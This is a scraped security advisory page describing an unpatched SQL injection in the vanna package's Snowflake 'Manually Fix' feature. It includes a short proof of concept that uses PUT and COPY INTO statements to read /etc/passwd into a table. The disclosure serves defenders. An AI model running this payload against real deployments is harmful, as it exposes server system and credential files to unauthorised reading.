SQL Injection Affecting vanna package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (21st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-VANNA-9667555
  • published7 Apr 2025
  • disclosed20 Mar 2025
  • creditPeng Zhou

Introduced: 20 Mar 2025

NewCVE-2024-8055  (opens in a new tab)
CWE-22  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

There is no fixed version for vanna.

Overview

vanna is a Generate SQL queries from natural language

Affected versions of this package are vulnerable to SQL Injection by injecting a series of PUT and COPY statements as raw SQL using the "Manually Fix" feature in the Snowflake database integration. The run_sql_snowflake() function will execute those statements on the database without sanitization. An attacker can exploit this to read arbitrary local files on the server.

PoC

PUT file:///etc/passwd @~/leaked AUTO_COMPRESS=FALSE;
CREATE TABLE IF NOT EXISTS leakedtable (leakeddata VARCHAR(200));
COPY INTO LEAKEDTABLE from @~/leaked ON_ERROR=CONTINUE;
SELECT * FROM LEAKEDTABLE;

CVSS Base Scores

version 4.0
version 3.1